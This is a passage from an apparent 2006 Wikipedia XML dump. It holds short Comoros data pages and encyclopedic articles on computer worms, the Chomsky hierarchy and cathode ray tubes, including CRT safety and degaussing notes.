    </revision>
  </page>
  <page>
    <title>Comoros/Economy</title>
    <id>6004</id>
    <revision>
      <id>15904169</id>
      <timestamp>2002-06-14T14:00:52Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Economy of Comoros]]</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Comoros]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Comoros</title>
    <id>6005</id>
    <revision>
      <id>29727327</id>
      <timestamp>2005-11-30T20:43:07Z</timestamp>
      <contributor>
        <username>Tedernst</username>
        <id>3700</id>
      </contributor>
      <comment>disambiguation link repair [[broadcast]] ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
5,000 (1995)

'''Telephones - mobile cellular:'''
0 (1995)

'''Telephone system:'''
sparse system of [[microwave]] radio relay and HF radiotelephone communication stations
&lt;br&gt;''domestic:''
HF radiotelephone communications and microwave radio relay
&lt;br&gt;''international:''
HF radiotelephone communications to [[Madagascar]] and [[Réunion]]

'''[[Radio]] [[Broadcasting|broadcast]] stations:'''
AM 1, FM 2, shortwave 1 (1998)

'''Radios:'''
90,000 (1997)

'''[[Television]] broadcast stations:'''
0 (1998)

'''Televisions:'''
1,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
1 (1999)
'''[[Country codes|Country code]] (Top-level domain):''' KM

:''See also:'' [[Comoros]]

[[Category:Communications by country|Comoros]]
[[Category:Comoros]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Comoros</title>
    <id>6006</id>
    <revision>
      <id>37831775</id>
      <timestamp>2006-02-02T11:43:04Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in Comoros]] to [[Transport in Comoros]]: part of a series</comment>
      <text xml:space="preserve">{{CIA}}

'''[[Railway]]s:'''
0 km

'''[[Highway]]s:'''
&lt;br&gt;''total:''
880 km
&lt;br&gt;''paved:''
673 km
&lt;br&gt;''unpaved:''
207 km (1996 est.)

'''[[Seaport]]s and [[harbor]]s:'''
[[Fomboni]], [[Moroni, Comoros|Moroni]], [[Moutsamoudou]]

'''[[Merchant marine]]:'''
none (1999 est.)

'''[[Airport]]s:'''
4 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
4
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''914 to 1,523 m:''
3 (1999 est.)

:''See also :'' [[Comoros]]
[[Category:Comoros]]
[[Category:Transportation by country|Comoros]]

{{Africa in topic|Transport in}}

{{Africa-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Comoros</title>
    <id>6007</id>
    <revision>
      <id>35312885</id>
      <timestamp>2006-01-15T21:17:16Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>template</comment>
      <text xml:space="preserve">{{Politics of Comoros}}
In November 1975, [[Comoros]] became the 143d member of the [[United Nations]]. The new nation was defined as consisting of the entire archipelago, despite the fact that France maintains control over [[Mayotte]].

Comoros also is a member of the [[Organization of African Unity]], the [[Arab League]], the [[European Development Fund]], the [[World Bank]], the [[International Monetary Fund]], the [[Indian Ocean Commission]], and the [[African Development Bank]]. 

'''Disputes - international:'''
claims [[France|French]]-administered [[Mayotte]]

:''See also :'' [[Comoros]]
[[Category:Comoros]]
[[Category:Foreign relations by country|Comoros]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Comoros</title>
    <id>6008</id>
    <revision>
      <id>15904173</id>
      <timestamp>2005-05-06T10:05:18Z</timestamp>
      <contributor>
        <username>SDC</username>
        <id>181435</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The military resources of the [[Comoros]] consist of a small standing army and a 500-member police force, as well as a 500-member defense force. A defense treaty with France provides naval resources for protection of territorial waters, training of Comorian military personnel, and air surveillance. [[France]] maintains a small troop presence in Comoros at government request. France maintains a small maritime base and a foreign legion contingent on [[Mayotte]]. 

'''Military branches:'''
Comorian Security Force

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
136,914 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
81,477 (2000 est.)

'''Military expenditures - dollar figure:'''
$NA

'''Military expenditures - percent of GDP:'''
NA%

==References and Links==
*[[Comoros]]
[[Category:Comoros]]
[[Category:Militaries|Comoros]]</text>
    </revision>
  </page>
  <page>
    <title>Cosmic microwave background</title>
    <id>6009</id>
    <revision>
      <id>15904174</id>
      <timestamp>2003-08-20T19:46:45Z</timestamp>
      <contributor>
        <username>AstroNomer</username>
        <id>94</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Cosmic microwave background radiation]]</text>
    </revision>
  </page>
  <page>
    <title>Computer worm</title>
    <id>6010</id>
    <revision>
      <id>41635308</id>
      <timestamp>2006-02-28T18:07:19Z</timestamp>
      <contributor>
        <ip>212.159.76.105</ip>
      </contributor>
      <text xml:space="preserve">A '''computer worm''' is a self-replicating [[computer program]], similar to a [[computer virus]]. A virus attaches itself to, and becomes part of, another executable program; however, a worm is self-contained and does not need to be part of another program to propagate itself. They are often designed to exploit the file [[transmission (telecommunications)|transmission]] capabilities found on many computers. The main difference between a [[computer virus]] and a worm is that a virus cannot propagate by itself whereas worms can. A worm uses a network to send copies of itself to other systems and it does so without any intervention. In general, worms harm the network and consume bandwidth, whereas viruses infect or corrupt files on a targeted computer. Viruses generally do not affect network performance, as their malicious activities are mostly confined within the target computer itself. 

The name 'worm' was taken from ''[[The Shockwave Rider]]'', a 1970s [[science fiction]] novel by [[John Brunner (novelist)|John Brunner]]. Researchers writing an early paper on experiments in distributed computing noted the similarities between their software and the program described by Brunner and adopted the name.
&lt;!-- Who were they and what was the paper? --&gt;

The first implementation of a worm was by two researchers at [[Xerox PARC]] in 1978. [http://www.parc.xerox.com/about/history/default.html]	The authors, John Shoch and Jon Hupp, originally designed the worm to find idle processors on the network and assign them tasks, sharing the processing and so improving the whole network efficiency. [http://www.technovelgy.com/ct/content.asp?Bnum=190]

The first worm to attract wide attention, the [[Morris worm]], was written by [[Robert Tappan Morris]], who at the time was a graduate student at [[Cornell University]]. It was released on [[November 2]], [[1988]], and quickly infected a great number of computers on the [[Internet]] at the time. It propagated through a number of bugs in [[BSD]] [[Unix]] and its derivatives. Morris himself was convicted under the US Computer Crime and Abuse Act and received three years probation, 400 hours community service and a fine in excess of $10,000. 

In addition to replication, a worm may be designed to do any number of things, such as delete files on a host system or send documents via [[e-mail]]. More recent worms may be multi-headed and carry other executables as a [[payload]]. However, even in the absence of such a payload, a worm can wreak havoc just with the network traffic generated by its reproduction. [[Mydoom]], for example, caused a noticeable worldwide Internet slowdown at the peak of its spread.

A common payload is for a worm to install a [[backdoor]] in the infected computer, as was done by [[Sobig]] and [[Mydoom]]. These [[zombie computers]] are used by [[e-mail spam|spam]] senders for sending junk email or to cloak their website's address.[http://seattletimes.nwsource.com/html/businesstechnology/2001859752_spamdoubles18.html] Spammers are thought to pay for the creation of such worms [http://www.wired.com/news/business/0,1367,60747,00.html]
[http://www.channelnewsasia.com/stories/afp_world/view/68810/1/.html], and worm writers have been caught selling lists of [[IP address]]es of infected machines.[http://www.heise.de/english/newsticker/news/44879] Others try to blackmail companies with threatened [[Denial-of-service_attack|DoS]] attacks.[http://news.bbc.co.uk/1/hi/technology/3513849.stm] The backdoors can also be exploited by other worms, such as [[Doomjuice]], which spreads using the backdoor opened by [[Mydoom]]. 

Whether worms can be useful is a common theoretical question in [[computer science]] and [[artificial intelligence]]. The [[Nachi worm|Nachi]] family of worms, for example, tried to download then install patches from Microsoft's website to fix various vulnerabilities in the host system &amp;mdash; the same vulnerabilities that they exploited. This eventually made the systems affected more secure, but generated considerable network traffic (often more than the worms they were protecting against), rebooted the machine in the course of patching it, and, maybe most importantly, did its work without the explicit consent of the computer's owner or user. As such, most security experts deprecate worms, whatever their payload.



==See also==

*[[Timeline of notable computer viruses and worms]]

==External links==
* [http://www.wildlist.org The Wildlist] - List of viruses and worms 'in the wild' (i.e. regularly encountered by anti-virus companies)
* [http://www.2-spyware.com/worms-removal Worm parasites] - Listed worm descriptions and removal tools.
* [http://www.securityfocus.com/print/columnists/347 Jose Nazario discusses worms] - Worms overview by a famous security researcher.
* [http://www.pc-news.org/computer-worm-suspect-in-court/virus-news Computer worm suspect in court]
* [http://www.vernalex.com/guides/malware/ Vernalex.com's Malware Removal Guide] - Guide for understanding, removing and preventing worm infections

[[Category:Malware]]

{{Link FA|de}}

[[zh-min-nan:Tiān-naú u-óng]]
[[de:Computerwurm]]
[[es:Gusano informático]]
[[fr:Ver informatique]]
[[it:Worm]]
[[hu:Számítógépes féreg]]
[[nl:Computerworm|Poep]]
[[ja:ワーム (コンピュータ)]]
[[pl:Robak komputerowy]]
[[pt:Worm]]
[[ru:Сетевые черви]]
[[sk:Počítačový červ]]
[[sv:Internetmask]]
[[th:หนอนคอมพิวเตอร์]]
[[vi:Sâu máy tính]]
[[uk:Хробак комп'ютерний]]
[[zh:蠕虫病毒]]
[[he:תולעת מחשב]]</text>
    </revision>
  </page>
  <page>
    <title>Chomsky hierarchy</title>
    <id>6011</id>
    <revision>
      <id>41731229</id>
      <timestamp>2006-03-01T10:01:59Z</timestamp>
      <contributor>
        <username>Babajobu</username>
        <id>125012</id>
      </contributor>
      <minor />
      <comment>clean using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">The '''Chomsky hierarchy''' is a [[containment hierarchy]] of classes of [[formal grammar]]s that generate [[formal language]]s.  This hierarchy of these grammars which are also called ''phrase structure grammars'' was described by [[Noam Chomsky]] in&amp;nbsp;[[1956]] (see&amp;nbsp;[[#References|&lt;nowiki&gt;[1]&lt;/nowiki&gt;]]).

== Formal grammars ==
A formal grammar consists of a finite set of ''terminal symbols'' (the letters of the words in the formal language), a finite set of ''nonterminal symbols'', a finite set of ''production rules'' with a left- and a right-hand side consisting of a word of these symbols, and a ''start symbol''.  A rule may be applied to a word by replacing the left-hand side by the right-hand side.  A derivation is a sequence of rule applications.  Such a grammar defines the formal language of all words consisting solely of terminal symbols that can be reached by a derivation from the start symbol.

Nonterminals are usually represented by uppercase letters, terminals by lowercase letters, and the start symbol by &lt;math&gt;S&lt;/math&gt;.  For example, the grammar with terminals &lt;math&gt;\{a, b\}&lt;/math&gt;, nonterminals &lt;math&gt;\{S, A, B\}&lt;/math&gt;, production rules
: &lt;math&gt;S&lt;/math&gt; &amp;rarr; &lt;math&gt;ABS&lt;/math&gt;
: &lt;math&gt;S&lt;/math&gt; &amp;rarr; &amp;epsilon;  (where &amp;epsilon; is the empty string)
: &lt;math&gt;BA&lt;/math&gt; &amp;rarr; &lt;math&gt;AB&lt;/math&gt;
: &lt;math&gt;BS&lt;/math&gt; &amp;rarr; &lt;math&gt;b&lt;/math&gt;
: &lt;math&gt;Bb&lt;/math&gt; &amp;rarr; &lt;math&gt;bb&lt;/math&gt;
: &lt;math&gt;Ab&lt;/math&gt; &amp;rarr; &lt;math&gt;ab&lt;/math&gt;
: &lt;math&gt;Aa&lt;/math&gt; &amp;rarr; &lt;math&gt;aa&lt;/math&gt;
and start symbol &lt;math&gt;S&lt;/math&gt;, defines the language of all words of the form &lt;math&gt; a^n b^n &lt;/math&gt; (i.e. &lt;math&gt;n&lt;/math&gt; copies of &lt;math&gt;a&lt;/math&gt; followed by &lt;math&gt;n&lt;/math&gt; copies of &lt;math&gt;b&lt;/math&gt;).
The following is a simpler grammar that defines a similar language: 
Terminals &lt;math&gt;\{p, q\}&lt;/math&gt;, Nonterminals &lt;math&gt;\{S\}&lt;/math&gt;, Start symbol &lt;math&gt;S&lt;/math&gt;, Production rules
: &lt;math&gt;S&lt;/math&gt; &amp;rarr; &lt;math&gt;pSq&lt;/math&gt;
: &lt;math&gt;S&lt;/math&gt; &amp;rarr; &amp;epsilon;

See [[formal grammar]] for a more elaborate explanation.

== The hierarchy ==
The Chomsky hierarchy consists of the following levels:

* Type-0 grammars (unrestricted grammars) include all formal grammars. They generate exactly all languages that can be recognized by a [[Turing machine]]. These languages are also known as the [[recursively enumerable language|recursively enumerable languages]].  Note that this is different from the [[recursive language|recursive languages]] which can be ''decided'' by an always halting Turing machine.

* Type-1 grammars ([[context-sensitive grammar|context-sensitive grammars]]) generate the [[context-sensitive language|context-sensitive languages]].  These grammars have rules of the form &lt;math&gt;\alpha A\beta \rightarrow \alpha\gamma\beta&lt;/math&gt; with &lt;math&gt;A&lt;/math&gt; a nonterminal and &lt;math&gt;\alpha&lt;/math&gt;, &lt;math&gt;\beta&lt;/math&gt; and &lt;math&gt;\gamma&lt;/math&gt; strings of terminals and nonterminals. The strings &lt;math&gt;\alpha&lt;/math&gt; and &lt;math&gt;\beta&lt;/math&gt; may be empty, but &lt;math&gt;\gamma&lt;/math&gt; must be nonempty.  The rule &lt;math&gt;S \rightarrow \epsilon&lt;/math&gt; is allowed if &lt;math&gt;S&lt;/math&gt; does not appear on the right side of any rule.  The languages described by these grammars are exactly all languages that can be recognized by a non-deterministic Turing machine whose tape is bounded by a constant times the length of the input.

* Type-2 grammars ([[context-free grammar|context-free grammars]]) generate the [[context-free language]]s. These are defined by rules of the form &lt;math&gt;A \rightarrow \gamma&lt;/math&gt; with &lt;math&gt;A&lt;/math&gt; a nonterminal and &lt;math&gt;\gamma&lt;/math&gt; a string of terminals and nonterminals. These languages are exactly all languages that can be recognized by a non-deterministic [[pushdown automaton]]. Context free languages are the theoretical basis for the syntax of most [[programming language|programming languages]].

* Type-3 grammars ([[regular grammar|regular grammars]]) generate the [[regular language|regular languages]].  Such a grammar restricts its rules to a single nonterminal on the left-hand side and a right-hand side consisting of a single terminal, possibly followed (or preceded, but not both in the same grammar) by a single nonterminal. The rule &lt;math&gt;S \rightarrow \epsilon&lt;/math&gt; is also here allowed if &lt;math&gt;S&lt;/math&gt; does not appear on the right side of any rule.  These languages are exactly all languages that can be decided by a [[finite state automaton]]. Additionally, this family of formal languages can be obtained by [[regular expressions]]. Regular languages are commonly used to define search patterns and the lexical structure of programming languages.

Note that the set of grammars corresponding to recursive languages is not a member of this hierarchy.

Every regular language is context-free, every context-free language is context-sensitive and every context-sensitive language is recursive and every recursive language is recursively enumerable. These are all proper inclusions, meaning that there exist recursively enumerable languages which are not recursive, recursive languages that are not context-sensitive, context-sensitive languages which are not context-free and context-free languages which are not regular.

The following table summarizes each of Chomsky's four types of grammars, the class of languages it generates, the type of automaton that recognizes it, and the form its rules must have.  

&lt;center&gt;
&lt;table border=1&gt;
&lt;tr&gt;
&lt;th&gt;Grammar&lt;/th&gt;
&lt;th&gt;Languages&lt;/th&gt;
&lt;th&gt;Automaton&lt;/th&gt;
&lt;th&gt;Production rules&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type-0&lt;/td&gt;
&lt;td&gt;[[recursively enumerable language|Recursively enumerable]]&lt;/td&gt;
&lt;td&gt;[[Turing machine]]&lt;/td&gt;
&lt;td&gt;No restrictions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type-1&lt;/td&gt;
&lt;td&gt;[[context-sensitive grammar|Context-sensitive]]&lt;/td&gt;
&lt;td&gt;Linear-bounded non-deterministic Turing machine&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\alpha A\beta \rightarrow \alpha\gamma\beta&lt;/math&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type-2&lt;/td&gt;
&lt;td&gt;[[context-free grammar|Context-free]]&lt;/td&gt;
&lt;td&gt;Non-deterministic [[pushdown automaton]]&lt;/td&gt;
&lt;td&gt;&lt;math&gt;A \rightarrow \gamma&lt;/math&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type-3&lt;/td&gt;
&lt;td&gt;[[regular grammar|Regular]]&lt;/td&gt;
&lt;td&gt;[[Finite state automaton]]&lt;/td&gt;
&lt;td&gt;&lt;math&gt;A \rightarrow a&lt;/math&gt; and &lt;br&gt;
&lt;math&gt;A \rightarrow aB&lt;/math&gt; &lt;br&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/center&gt;

==References==
# Noam Chomsky: ''Three models for the description of language'', IRE Transactions on Information Theory, 2 (1956), pages 113-124
# Noam Chomsky: ''On certain formal properties of grammars'', Information and Control, 1 (1959), pages 91-112

==External links==
* http://www.staff.ncl.ac.uk/hermann.moisl/ell236/lecture5.htm

{{Formal languages and grammars}}

[[Category:Formal languages]]
[[Category:Generative linguistics]]
[[Category:Noam Chomsky]]

[[bg:Йерархия на Чомски]]
[[cs:Chomského hierarchie]]
[[de:Chomsky-Hierarchie]]
[[es:Jerarquía de Chomsky]]
[[fi:Chomskyn hierarkia]]
[[fr:Hiérarchie de Chomsky]]
[[ja:チョムスキー階層]]
[[ko:촘스키 위계]]
[[pl:Hierarchia Chomsky'ego]]
[[pt:Hierarquia de Chomsky]]
[[sk:Chomského hierarchia]]
[[zh:乔姆斯基谱系]]</text>
    </revision>
  </page>
  <page>
    <title>Churchs thesis</title>
    <id>6012</id>
    <revision>
      <id>24409352</id>
      <timestamp>2005-09-30T16:27:25Z</timestamp>
      <contributor>
        <username>Psychonaut</username>
        <id>28478</id>
      </contributor>
      <comment>#REDIRECT [[Church–Turing thesis]]</comment>
      <text xml:space="preserve">#REDIRECT [[Church–Turing thesis]]</text>
    </revision>
  </page>
  <page>
    <title>CRT</title>
    <id>6013</id>
    <revision>
      <id>39628060</id>
      <timestamp>2006-02-14T19:56:29Z</timestamp>
      <contributor>
        <username>Rfrisbie</username>
        <id>896545</id>
      </contributor>
      <minor />
      <comment>wikified link</comment>
      <text xml:space="preserve">'''CRT''' can mean:
* [[Cathode ray tube|Cathode Ray Tube]], in [[electronics]], a [[display device]] (such as in older [[television]] sets)
* [[C Run-Time]], in [[computing]]
* [[Charitable trust|Charitable Remainder Trust]], in [[Law]]
* [[Chinese Remainder Theorem]], in [[mathematics]]
* [[Corneal Refractive Therapy]], in [[medicine]]
* [[Criterion-referenced test]], in [[United States|U.S.]] [[school]]s
* [[Critical race theory]], a school of thought in [[philosophy]], [[sociology]], and legal theory
* [[current reality tree (TOC)|current reality tree]] in [[Theory of Constraints]]

'''Crt''' can mean:
*[[Crater (constellation)]], standard astronomical abbreviation

{{TLAdisambig}}
[[fr:CRT]]
[[it:CRT]]
[[ja:CRT]]</text>
    </revision>
  </page>
  <page>
    <title>Cathode ray tube</title>
    <id>6014</id>
    <revision>
      <id>41942495</id>
      <timestamp>2006-03-02T20:02:36Z</timestamp>
      <contributor>
        <username>NETTKNUT</username>
        <id>981877</id>
      </contributor>
      <comment>/* Health danger */</comment>
      <text xml:space="preserve">[[Image:Cathode_ray_Tube.PNG|right|thumb|300px|Cathode ray tube employing electromagnetic focus and deflection]]
[[Image:CRT_color.png|right|thumb|300px|Cutaway rendering of a color CRT]]
The '''cathode ray tube''' or '''CRT''', invented by [[Karl Ferdinand Braun]], is the [[display device]] that was traditionally used in most [[computer display]]s, [[video monitor]]s, [[television]]s and [[oscilloscope]]s. The CRT developed from [[Philo Farnsworth]]'s work was used in all television sets until the late [[20th century]] and the advent of [[plasma screen]]s, [[Liquid crystal display television|LCD]]s, [[DLP]], [[OLED]] displays, and other technologies.  As a result of this technology, television continues to be referred to as &quot;[[The Tube (disambiguation)|The Tube]]&quot; well into the [[21st century]], even when referring to non-CRT sets.

==Apparatus description==
The earliest version of the CRT was a cold-cathode diode, a modification of the [[Crookes tube]] with a phosphor-coated screen, sometimes called a [[Ferdinand Braun|Braun tube]].  The first version to use a hot cathode was developed by J. B. Johnson (who gave his name to the term [[Johnson-Nyquist noise|Johnson noise]]) and H. W. Weinhart of Western Electric and became a commercial product in 1922.

[[Cathode ray]]s exist in the form of streams of high speed [[electron]]s emitted from the heating of cathode inside a [[vacuum tube]].
The released electrons form a beam within the cathode ray tube due to the voltage difference applied in the two electrodes, and the direction of this beam is then altered either by a [[magnetic field|magnetic]] or [[electric field]] to swap over the surface at the fluorescent screen ([[anode]]), covered by [[Phosphor|phosphorescent material]] (often [[transition metal]]s or [[rare earth]]s). Light is emitted at the instant that electrons hit the surface of that material.

In case of a [[television]] and modern computer monitors, the entire front area of the tube is scanned in a fixed pattern called a ''raster'', and a picture is created by modulating the intensity of the electron beam according to the programme's [[video signal]]. The beam in all modern TV sets is scanned with a magnetic field applied to the neck of the tube with a &quot;magnetic yoke&quot;, a set of coils driven by electronic circuits. This usage of electromagnets to change the electron beam's original direction is known to be &quot;magnetic deflection&quot;.

In case of an [[oscilloscope]], the intensity of the electron beam is kept constant, and the picture is drawn by steering the beam along an arbitrary path. Usually, the horizontal deflection is proportional to time, and the vertical deflection is proportional to the signal. The tube for this kind of use is longer and narrower, and deflection is done by applying an [[electrical field]] via deflection plates built into the tube's neck. The use of an electrical field (so-called &quot;electrostatic deflection&quot;) allows the electron beam to be steered much more rapidly than with a magnetic field, where the [[inductance]] of the electromagnets imposes relatively severe limits on the frequency range that can be accurately reproduced.

The electron beam source is the [[electron gun]], producing the stream of electrons by [[thermionic emission]] and then focusing it to a thin beam. The gun was often mounted slightly off-axis, as it accelerated not only electrons but also ions resulting from [[outgassing]] of the internal tube components and from an imperfect [[vacuum]]. The ions are heavier than electrons, therefore they are less likely to be deflected by the magnetic field from the deflection coils, and in older constructions with in-axis guns they were bombarding the phosphor in the center of the screen and causing its deterioration; some very old black and white TV sets show browning of the center of the screen, known as ion burn. The combination of an off-axis mounting of electron guns and permanent magnets bending the electron beam back in the desired direction forms an [[ion trap]]; the ions were not deflected enough so they struck the neck of the tube instead of the screen and harmlessly dissipated. This system was later replaced with aluminium coating of the phosphor.

The internal side of the phosphor layer is often covered with a layer of [[aluminium]]. The phosphors are usually poor electrical conductors, which leads to deposition of residual charge on the screen, effectively decreasing the energy of the impacting electrons due to electrostatic repulsion (an effect known as &quot;sticking&quot;). The aluminium layer is connected to the conductive layer inside the tube, disposing of this charge. It also reflects the phosphor light in the desired direction towards the viewer, and protects the phosphor from ion bombardment.

[[Image:Egun.jpg|200px|thumb|Electron Gun]]

Graphical displays for early computers used [[vector monitor]]s, a type of CRT similar to the oscilloscope. Here, the beam would trace straight lines between arbitrary points, repeatedly refreshing the display as quickly as possible. Vector monitors were used in many computer displays as well as by some late 1970s to mid 1980s arcade games such as [[Asteroids]]. Vector displays for computers did not noticeably suffer the display artifacts of [[aliasing]] and [[pixelization]], but were limited in that they could display only a shape's outline, and only a very small amount of rather largely-drawn text. (Because the speed of refresh was roughly inversely proportional to how many vectors needed to be drawn, &quot;filling&quot; an area using many individual vectors was impractical as was the display of a large amount of text.) Some vector monitors are capable of displaying several colors using either an ordinary tri-color CRT or two [[phosphor]] layers (so called  &quot;penetration color&quot;). In these dual-layer tubes, by controlling the strength of the electron beam, electrons could be made to reach (and illuminate) either or both phosphor layers, typically producing green, orange, or red.

Other graphical displays used [[storage tube]]s including [[Direct View Bistable Storage Tube]]s ([[DVBST]]s). These CRTs inherently stored the image and did not require periodic refreshing.

Some displays for early computers (those that needed to display more text than was practical using vectors, or required high speed for photographic output) used [[Charactron]] CRTs. These used a perforated metal character mask (&quot;[[Stencil]]&quot;) to shape a wide electron beam to form a selected character shape on the screen. The electronics could quickly select a character on the mask with one set of deflection circuits, while selecting the position to display the character at with a second set of deflection circuits, and then just turn on the beam briefly to draw that character. Graphics could still be drawn by selecting the unneeded position on the mask corresponding to the code for a space (when drawing a space the beam was simply kept off), which had a small round hole in the center instead of being solid, and draw this as with other displays.

Many of these various types of early computer display CRTs use &quot;slow&quot; or long persistance phosphor, to reduce flicker for the operator.
[[Image:shadow_mask.jpg|200px|thumb|Shadow mask CRT close-up]]

[[Image:aperture_grille.jpg|200px|thumb|Aperture grille CRT close-up]]

Color tubes use three different materials which specifically emit red, green, and blue light, closely packed together in strips (in [[aperture grille]] designs) or clusters (in [[shadow mask]] CRTs). There are three electron guns, one for each color, and each gun can reach only the dots of one color, as the grille or mask absorbs electrons that would otherwise hit the wrong phosphor.

The outer glass allows the light generated by the phosphor out of the monitor, but (for color tubes) it must block dangerous [[X-ray]]s generated by the impact of the high energy electron beam. For this reason, the glass is made of leaded glass (sometimes called &quot;lead crystal&quot;).  Because of this and other shielding, and protective circuits designed to prevent the anode voltage rising too high, the X-ray emission of modern CRTs is well within safety limits.

CRTs have a pronounced [[triode]] characteristic, which results in significant [[gamma correction|gamma]] (a nonlinear relationship between beam current and light intensity). In early televisions, screen gamma was an advantage because it acted to compress the screen [[contrast]]. The gamma characteristic exists today in all [[digital video]] systems. However, in some systems where a linear response is required, as in [[desktop publishing]], [[gamma correction]] is applied.

CRT displays accumulate [[static electricity|static]] electrical charge on the screen, unless protective measures are taken. This charge does not pose a safety hazard, but can lead to significant degradation of image quality through attraction of [[dust]] particles to the surface of the screen. Unless the display is regularly cleaned with a dry cloth or special cleaning tissue (using ordinary household cleaners may damage anti-glare protective layer on the screen), after a few months the brightness and clarity of the image drops significantly.

The high voltage (E.H.T.) used for accelerating the electrons is provided by a transformer. For CRTs used in televisions, this is usually a [[flyback transformer]] that steps up the line (horizontal) deflection supply to as much as 32,000 volts for a colour tube. (Monochrome tubes may operate at a somewhat lower voltage and specialty CRTs may operate at much lower voltages.) The output of the transformer is rectified and the pulsating output voltage is smoothed by a capacitor formed by the tube itself: the accelerating anode being one plate, the glass being the dielectric, and the earthed coating on the outside of the tube being the other plate. Before all-glass tubes, the structure between the screen and the electron gun was made from a heavy metal cone which served as the accelerating anode. Smoothing of the E.H.T. was then done with a massive capacitor, external to the tube itself.

==Other technologies==
It is likely that technologies such as [[plasma display]]s, [[liquid crystal display]]s, and other newer technologies will eventually make CRT-based displays  mostly obsolete, because the new designs are less bulky and consume less power. As of mid-2003, LCDs are becoming directly comparable in price to CRTs, with LCDs forming 30% of the computer display market by value.  However, color CRTs still find adherents in computer gaming, due to their very quick response time, and in the printing and TV broadcasting industries for their better color fidelity and contrast. In 2005 Sony announced that they would stop the production of CRT computer displays.

==Magnets==
[[Magnet]]s should never be put next to a colour CRT, as they may cause magnetisation of the shadow mask, which will cause incorrect colours to appear in the magnetised area and may be expensive to have corrected (although this will correct itself over a few days or weeks). Most modern television sets and nearly all newer computer monitors have a built-in [[degauss]]ing coil (pronounced &quot;de-gow-sing&quot;). This coil creates a brief, alternating magnetic field from standard 50 or 60 Hz household power upon power-up which decays in strength as a resistor in the circuit increases resistance with its increasing temperature as a result of the current passing through it. The alternating magnetic field created is sufficient enough to shake off most cases of shadow mask magnetisation. It is also possible to purchase or to build your own external degaussing coil which can aid in demagnetising older sets or in cases where the built-in coil was not effective. A soldering gun (a [[soldering iron]] will not work as it does not contain a large transformer which produces a large alternating magnetic field) may also be used to degauss a monitor by holding it up to the center of the monitor with the hot tip end facing safely '''AWAY''' from the glass (and yourself!) and while holding down the on button, slowly moving the gun in ever wider concentric circles past the edge of the monitor until the shimmering colours can no longer be seen. This may need to be repeated several times to remove severe magnetisation.

In extreme cases, high power magnets such as the now popular [[neodymium]] [[iron]] [[boron]], or [[Neodymium magnet|NIB magnets]], can actually deform the shadow mask. This type of damage is considered permanent and will render the CRT mostly useless. However, subjecting an old black and white television or monochrome (green screen, amber screen) computer monitor to magnets is generally harmless. This can be used as a demonstration tool and children should even be encouraged to do this so that they may see the immediate and dramatic effect of a magnetic field on moving charged particles, provided they are informed to never do the same with a colour tube.

== Health danger==
Some believe the electromagnetic fields emitted by CRT monitors constitute a health danger to the functioning of living cells. Exposure to these fields is far lower at distances of 85 cm or farther. It is also less intensive for the display's user than for a person located behind it.

CRTs also emit very small amounts of [[X-rays]] as a result of the electron beam's bombardment of the shadow mask/aperture grille and phosphors. Almost all of this radiation is blocked by the thick leaded glass in the screen so the amount of radiation escaping the front of the monitor is mostly harmless. The [[Food and Drug Administration]] regulations in 21 CFR 1020 are used to strictly limit, for instance, television receivers to 0.5 milliroentgens per hour (mR/h) (0.13 µC/(kg·h) (at a distance of 5 cm from any external surface and as mentioned above, most CRT emissions fall well below this limit.[http://www.accessdata.fda.gov/scripts/cdrh/cfdocs/cfcfr/CFRSearch.cfm?fr=1020.10]

Old CRTs may also have used toxic phosphors, although that is much less common today. An implosion or other breaking of the glass envelope could release these toxic phosphors. And because of the X-ray hazard, the glass envelopes of most modern CRTs are made from heavily [[leaded glass]]. The [[lead]] in this glass may represent an environmental hazard, especially in the presence of [[acid rain]] leaking through [[landfill]]s.

The constant refreshing of a CRT can cause [[headaches]] in [[migraine]] sufferers and [[seizure|seizures]] in [[epilepsy|epileptics]], if they are [[Photosensitive epilepsy|photosensitive]]. Filters are available to reduce these effects.
A high refresh rate (above 75 Hz) also helps to negate these effects.

CRTs operate at very high voltages. These voltages can persist long (several days) after the device containing the CRT has been switched off and unplugged.  (Modern circuits contain [[bleeder resistor]]s to ensure the high-voltage supply is discharged to safe levels within a couple of minutes at most.)

CRT tubes present a hazard to those without proper training and  appropriate precautions. Since the CRT contains a vacuum, there is also risk of implosion, as well as electrocution from any residual charge.

== High vacuum safety ==
Because of the strong vacuum within a CRT, they store a large amount of mechanical energy; they can [[Implosion|implode]] very forcefully if the outer glass envelope is damaged. Most modern CRTs used in televisions and computer displays include a bonded, multi-layer faceplate that prevents implosion if the faceplate is damaged, but the bell of the CRT (back portions of the glass envelope) offers no such protection. Certain specialized CRTs (such as those used in [[oscilloscope]]s) do not even offer a bonded faceplate; these CRTs require an external plastic faceplate or other cover to render them implosion safe while in use. Before the use of bonded faceplates one of the hazards would be that a broken neck or envelope would cause the neck and electron gun to be propelled by atmosperic pressure at such a velocity that it would erupt through the face of the tube.

